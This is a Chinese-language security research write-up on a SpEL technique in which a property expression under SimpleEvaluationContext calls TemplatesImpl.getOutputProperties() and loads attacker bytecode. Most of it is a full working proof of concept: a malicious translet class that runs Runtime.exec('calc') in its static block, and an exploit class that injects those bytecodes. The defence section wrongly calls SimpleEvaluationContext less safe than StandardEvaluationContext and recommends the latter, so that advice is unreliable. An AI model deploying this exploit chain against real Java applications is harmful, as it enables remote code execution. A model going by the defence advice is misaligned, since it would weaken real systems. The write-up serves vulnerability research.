SimpleEvaluationContext下的spel到触发getter方法的字节码加载利用研究
字数 1286 2025-08-24 07:48:10
Spring Expression Language (SpEL) 注入漏洞研究:SimpleEvaluationContext下的getter方法触发与字节码加载利用
1. 研究背景
在Spring框架中,SpEL(Spring Expression Language)是一种强大的表达式语言,用于在运行时查询和操作对象图。当使用SimpleEvaluationContext处理用户可控的表达式时,可能会存在安全风险。
2. 核心漏洞代码
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
关键点:
root对象和expr表达式都可由攻击者控制- 使用
SimpleEvaluationContext而非更安全的StandardEvaluationContext
3. 初始发现:getter方法的自动调用
通过测试发现,当表达式为对象属性名时,会自动调用对应的getter方法:
Person person = new Person("nn0nkey", 30);
String name = (String) eval(person, "name"); // 会自动调用getName()方法
4. 漏洞利用尝试:TemplatesImpl字节码加载
4.1 初始错误尝试
尝试直接调用TemplatesImpl._outputProperties:
TemplatesImpl templates = new TemplatesImpl();
// 设置恶意字节码
String name = (String) eval(templates, "_outputProperties"); // 失败
错误原因:
- SpEL查找的是getter方法而非字段
- 正确的getter方法名应为
outputProperties(不带下划线)
4.2 正确利用方式
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// 正确调用getter方法
String name = (String) eval(templates, "outputProperties"); // 触发getOutputProperties()
5. 技术原理分析
5.1 调用栈分析
关键调用路径:
SpelExpression.getValue()SpelNodeImpl.getValue()PropertyOrFieldReference.getValueInternal()PropertyOrFieldReference.readProperty()ReflectivePropertyAccessor.read()
5.2 方法查找机制
在findMethodForProperty方法中,Spring会:
- 获取目标类的所有方法
- 查找匹配"get" + 属性名(首字母大写)的方法
- 忽略方法可见性(通过
ReflectionUtils.makeAccessible) - 不限制返回类型
关键代码:
private Method findMethodForProperty(String[] methodSuffixes, String prefix,
Class<?> clazz, boolean mustBeStatic,
int numberOfParams, Set<Class<?>> requiredReturnTypes) {
Method[] methods = getSortedMethods(clazz);
for (String methodSuffix : methodSuffixes) {
for (Method method : methods) {
if (method.getName().equals(prefix + methodSuffix)
&& method.getParameterCount() == numberOfParams
&& (!mustBeStatic || Modifier.isStatic(method.getModifiers()))
&& (requiredReturnTypes.isEmpty()
|| requiredReturnTypes.contains(method.getReturnType()))) {
return method;
}
}
}
return null;
}
6. 完整PoC实现
6.1 恶意字节码类 (Test.java)
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) {}
}
6.2 完整利用代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class SpelExploit {
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 触发漏洞
eval(templates, "outputProperties");
}
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
7. 防御建议
- 避免使用
SimpleEvaluationContext处理不可信的表达式 - 使用
StandardEvaluationContext时严格限制可访问的类型 - 对用户输入的SpEL表达式进行严格过滤
- 升级到最新Spring版本,应用安全补丁
8. 总结
通过研究发现,在SimpleEvaluationContext下:
- SpEL会自动调用与属性名对应的getter方法
- 方法查找机制不限制可见性,可调用private方法
- 结合
TemplatesImpl的getOutputProperties()方法可实现字节码加载 - 关键在于正确构造方法调用表达式(使用getter方法名而非字段名)
这种利用方式比传统的SpEL注入更为隐蔽,且不需要依赖StandardEvaluationContext的完整功能。